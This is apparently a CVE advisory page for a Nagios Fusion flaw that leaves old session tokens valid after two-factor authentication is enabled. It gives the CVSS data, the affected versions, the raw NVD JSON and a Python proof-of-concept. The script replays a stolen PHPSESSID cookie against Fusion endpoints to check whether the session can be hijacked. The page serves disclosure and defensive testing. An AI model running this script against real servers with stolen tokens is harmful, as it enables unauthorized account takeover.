Security Vulnerability Report
中文
CVE-2025-60425 CVSS 8.6 HIGH

CVE-2025-60425

Published: 2025-10-27 16:15:42
Last Modified: 2025-11-05 20:55:30

Description

Nagios Fusion v2024R1.2 and v2024R2 does not invalidate already existing session tokens when the two-factor authentication mechanism is enabled, allowing attackers to perform a session hijacking attack.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:nagios:fusion:2024:r1.2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:fusion:2024:r2.1:*:*:*:*:*:* - VULNERABLE
Nagios Fusion v2024R1.2
Nagios Fusion v2024R2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-60425 PoC - Nagios Fusion Session Hijacking After 2FA Enable Description: Nagios Fusion does not invalidate existing session tokens when 2FA is enabled, allowing attackers to perform session hijacking attacks. Usage: python3 cve-2025-60425_poc.py <target_url> <stolen_session_token> """ import sys import requests def exploit_session_hijacking(target_url, session_token): """ Attempt to use a stolen session token after 2FA has been enabled. """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Cookie': f'PHPSESSID={session_token}' } # Try to access protected endpoint endpoints = [ '/nagiosfusion/', '/nagiosfusion/index.php', '/nagiosfusion/main.php', '/nagiosfusion/views/dashboard.php' ] print(f'[*] Target: {target_url}') print(f'[*] Session Token: {session_token}') print('[*] Attempting session hijacking...\n') for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, headers=headers, timeout=10, verify=False) print(f'[?] Endpoint: {endpoint}') print(f' Status: {response.status_code}') # Check if session is still valid if 'Fusion' in response.text and 'login' not in response.url.lower(): print(f' [+] SUCCESS: Session token is still valid!') print(f' [+] Attack possible: Session hijacking successful') return True else: print(f' [-] Session invalid or requires re-authentication') except requests.RequestException as e: print(f'[!] Error accessing {endpoint}: {e}') return False if __name__ == '__main__': if len(sys.argv) != 3: print(f'Usage: python3 {sys.argv[0]} <target_url> <session_token>') sys.exit(1) exploit_session_hijacking(sys.argv[1], sys.argv[2])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60425", "sourceIdentifier": "[email protected]", "published": "2025-10-27T16:15:42.040", "lastModified": "2025-11-05T20:55:29.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios Fusion v2024R1.2 and v2024R2 does not invalidate already existing session tokens when the two-factor authentication mechanism is enabled, allowing attackers to perform a session hijacking attack."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-491"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:fusion:2024:r1.2:*:*:*:*:*:*", "matchCriteriaId": "665DAD59-DB98-46D9-B7BF-64C812356108"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:fusion:2024:r2.1:*:*:*:*:*:*", "matchCriteriaId": "4B01149C-8E52-4916-8D8E-7A83D0483AF8"}]}]}], "references": [{"url": "https://github.com/aakashtyal/Session-Persistence-After-Enabling-2FA", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}, {"url": "https://github.com/aakashtyal/Session-Persistence-After-Enabling-2FA-CVE-2025-60425", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}, {"url": "https://www.nagios.com/changelog/#fusion", "source": "[email protected]", "tags": ["Release Notes"]}]}}